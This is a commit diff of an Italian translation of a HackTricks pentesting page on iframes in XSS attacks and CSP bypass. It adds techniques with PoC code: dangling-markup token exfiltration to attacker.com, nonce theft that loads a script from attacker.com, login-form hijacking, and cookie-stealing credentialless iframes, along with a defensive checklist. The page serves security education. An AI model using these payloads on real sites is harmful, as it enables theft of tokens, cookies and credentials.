mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
Translator
parent
d0fb1f0316
commit
9701cd4776
@ -61,7 +61,7 @@ Pertanto, è possibile bypassare la CSP di una pagina con:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Altri Payload trovati nel wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Nuove tecniche di bypass CSP (2023-2025) con iframes
|
||||
|
||||
La comunità di ricerca continua a scoprire modi creativi per abusare degli iframes per sconfiggere politiche restrittive. Di seguito puoi trovare le tecniche più note pubblicate negli ultimi anni:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Quando un'applicazione riflette HTML ma una forte CSP blocca l'esecuzione degli script, puoi comunque leakare token sensibili iniettando un attributo `<iframe name>` *dangling*. Una volta che il markup parziale è analizzato, lo script dell'attaccante in esecuzione in un'origine separata naviga il frame verso `about:blank` e legge `window.name`, che ora contiene tutto fino al prossimo carattere di citazione (ad esempio un token CSRF). Poiché nessun JavaScript viene eseguito nel contesto della vittima, l'attacco di solito elude `script-src 'none'`. Un PoC minimo è:
|
||||
|
||||
```html
|
||||
<!-- Punto di iniezione appena prima di un <script> sensibile -->
|
||||
<iframe name="//attacker.com/?"> <!-- attributo intenzionalmente lasciato aperto -->
|
||||
````
|
||||
```javascript
|
||||
// frame attacker.com
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → valore leakato
|
||||
```
|
||||
|
||||
* **Furto di nonce tramite iframe same-origin (2024)** – I nonce CSP non vengono rimossi dal DOM; sono semplicemente nascosti in DevTools. Se un attaccante può iniettare un iframe *same-origin* (ad esempio caricando HTML sul sito) il frame figlio può semplicemente interrogare `document.querySelector('[nonce]').nonce` e creare nuovi nodi `<script nonce>` che soddisfano la politica, dando piena esecuzione di JavaScript nonostante `strict-dynamic`. Il seguente gadget eleva un'iniezione di markup in XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Hijacking dell'azione del modulo (PortSwigger 2024)** – Una pagina che omette la direttiva `form-action` può avere il suo modulo di login *re-targeted* da un iframe iniettato o HTML inline in modo che i gestori di password compilino automaticamente e inviino le credenziali a un dominio esterno, anche quando è presente `script-src 'none'`. Completa sempre `default-src` con `form-action`!
|
||||
|
||||
**Note difensive (checklist rapida)**
|
||||
|
||||
1. Invia sempre *tutte* le direttive CSP che controllano contesti secondari (`form-action`, `frame-src`, `child-src`, `object-src`, ecc.).
|
||||
2. Non fare affidamento sul fatto che i nonce siano segreti—usa `strict-dynamic` **e** elimina i punti di iniezione.
|
||||
3. Quando devi incorporare documenti non fidati usa `sandbox="allow-scripts allow-same-origin"` **molto attentamente** (o senza `allow-same-origin` se hai solo bisogno di isolamento dell'esecuzione degli script).
|
||||
4. Considera un'implementazione di difesa in profondità COOP+COEP; il nuovo attributo `<iframe credentialless>` (§ sotto) ti consente di farlo senza rompere gli embed di terze parti.
|
||||
|
||||
### Altri payload trovati in natura <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -126,26 +162,34 @@ Quando utilizzato, l'attributo `sandbox` impone diverse limitazioni:
|
||||
- L'esecuzione di script è vietata.
|
||||
- L'accesso a determinate API è disabilitato.
|
||||
- Impedisce ai link di interagire con altri contesti di navigazione.
|
||||
- L'uso di plugin tramite `<embed>`, `<object>`, `<applet>` o tag simili è vietato.
|
||||
- L'uso di plugin tramite `<embed>`, `<object>`, `<applet>`, o tag simili è vietato.
|
||||
- La navigazione del contesto di navigazione di livello superiore del contenuto da parte del contenuto stesso è impedita.
|
||||
- Le funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico dei controlli del modulo, sono bloccate.
|
||||
- Funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico sui controlli del modulo, sono bloccate.
|
||||
|
||||
Tip: I browser moderni supportano flag granulari come `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, ecc. Combinali per concedere solo le capacità minime richieste dall'applicazione incorporata.
|
||||
|
||||
Il valore dell'attributo può essere lasciato vuoto (`sandbox=""`) per applicare tutte le restrizioni sopra menzionate. In alternativa, può essere impostato su un elenco di valori specifici separati da spazi che esentano l'iframe da determinate restrizioni.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Iframe senza credenziali
|
||||
|
||||
Come spiegato in [questo articolo](https://blog.slonser.info/posts/make-self-xss-great-again/), il flag `credentialless` in un iframe viene utilizzato per caricare una pagina all'interno di un iframe senza inviare credenziali nella richiesta, mantenendo la stessa politica di origine (SOP) della pagina caricata nell'iframe.
|
||||
|
||||
Questo consente all'iframe di accedere a informazioni sensibili da un altro iframe nella stessa SOP caricata nella pagina padre:
|
||||
Poiché **Chrome 110 (febbraio 2023) la funzionalità è abilitata per impostazione predefinita** e la specifica è in fase di standardizzazione tra i browser con il nome *anonymous iframe*. MDN la descrive come: “un meccanismo per caricare iframe di terze parti in una nuova partizione di archiviazione effimera in modo che nessun cookie, localStorage o IndexedDB venga condiviso con la vera origine”. Conseguenze per attaccanti e difensori:
|
||||
|
||||
* Gli script in diversi iframe senza credenziali **condividono ancora la stessa origine di livello superiore** e possono interagire liberamente tramite il DOM, rendendo fattibili attacchi multi-iframe self-XSS (vedi PoC sotto).
|
||||
* Poiché la rete è **senza credenziali**, qualsiasi richiesta all'interno dell'iframe si comporta effettivamente come una sessione non autenticata – gli endpoint protetti da CSRF di solito falliscono, ma le pagine pubbliche vulnerabili tramite DOM sono ancora nel campo di applicazione.
|
||||
* I pop-up generati da un iframe senza credenziali ottengono un `rel="noopener"` implicito, interrompendo alcuni flussi OAuth.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Esempio di exploit: Self-XSS + CSRF
|
||||
|
||||
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframe:
|
||||
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframes:
|
||||
|
||||
- Un iframe che carica la pagina della vittima con il flag `credentialless` con un CSRF che attiva un XSS (Immagina un Self-XSS nel nome utente dell'utente):
|
||||
```html
|
||||
@ -201,4 +245,10 @@ Controlla le seguenti pagine:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user